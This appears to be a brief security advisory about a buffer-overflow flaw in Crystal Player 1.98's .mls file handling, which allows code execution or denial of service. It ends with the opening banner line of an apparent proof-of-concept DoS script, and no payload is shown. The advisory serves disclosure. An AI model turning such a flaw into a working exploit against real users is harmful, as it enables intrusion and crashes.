Crystal Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.

Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions.

Crystal Player 1.98 is vulnerable; other versions may also be affected. 

print "\n\nCrystal Player v1.98 .mls File Processing DoS"
